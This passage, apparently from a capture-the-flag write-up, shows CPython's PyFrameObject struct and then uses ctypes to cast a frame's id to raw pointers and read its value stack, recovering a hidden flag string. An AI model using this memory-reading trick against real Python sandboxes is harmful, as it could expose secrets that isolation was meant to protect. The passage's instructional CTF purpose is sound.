     * Desired invariant:  all three are NULL, or all three are non-NULL.  That
     * one isn't currently true, but "should be".
     */
    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;

    PyThreadState *f_tstate;
    int f_lasti;        /* Last instruction if called */
    /* Call PyFrame_GetLineNumber() instead of reading this field
       directly.  As of 2.3 f_lineno is only valid when tracing is
       active (i.e. when f_trace is set).  At other times we use
       PyCode_Addr2Line to calculate the line from the current
       bytecode index. */
    int f_lineno;       /* Current line number */
    int f_iblock;       /* index in f_blockstack */
    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */
    PyObject *f_localsplus[1];  /* locals+stack, dynamically sized */
} PyFrameObject;

>>> from ctypes import c_int, c_long, py_object, cast, Structure, POINTER
>>> ssize_t = c_long
>>>
>>> class PyFrameObject(Structure):
...     _fields_ = [("ob_refcnt", ssize_t),
...                 ("ob_type", py_object),
...                 ("ob_size", ssize_t),
...                 ("f_back", py_object),
...                 ("f_code", py_object),
...                 ("f_builtins", py_object),
...                 ("f_globals", py_object),
...                 ("f_locals", py_object),
...                 ("f_valuestack", POINTER(py_object)),
...                 ("f_stacktop", POINTER(py_object)),
...                 ("f_trace", py_object),
...                 ("f_exc_type", py_object),
...                 ("f_exc_value", py_object),
...                 ("f_exc_traceback", py_object),
...                 ("f_tstate", py_object),
...                 ("f_lasti", c_int),
...                 ("f_lineno", c_int),
...                 ("f_iblock", c_int)]
...
>>>
>>> def _frame_internals(frame):
...     return cast(id(frame), POINTER(PyFrameObject)).contents
...
>>> _frame_internals(f).f_valuestack.contents
py_object('9447{seriously_eval_is_lame}')

>>> import ctypes as c
>>>
>>> OP = c.POINTER(c.py_object)
>>> c.cast(id(f), OP)[47]
'9447{seriously_eval_is_lame}'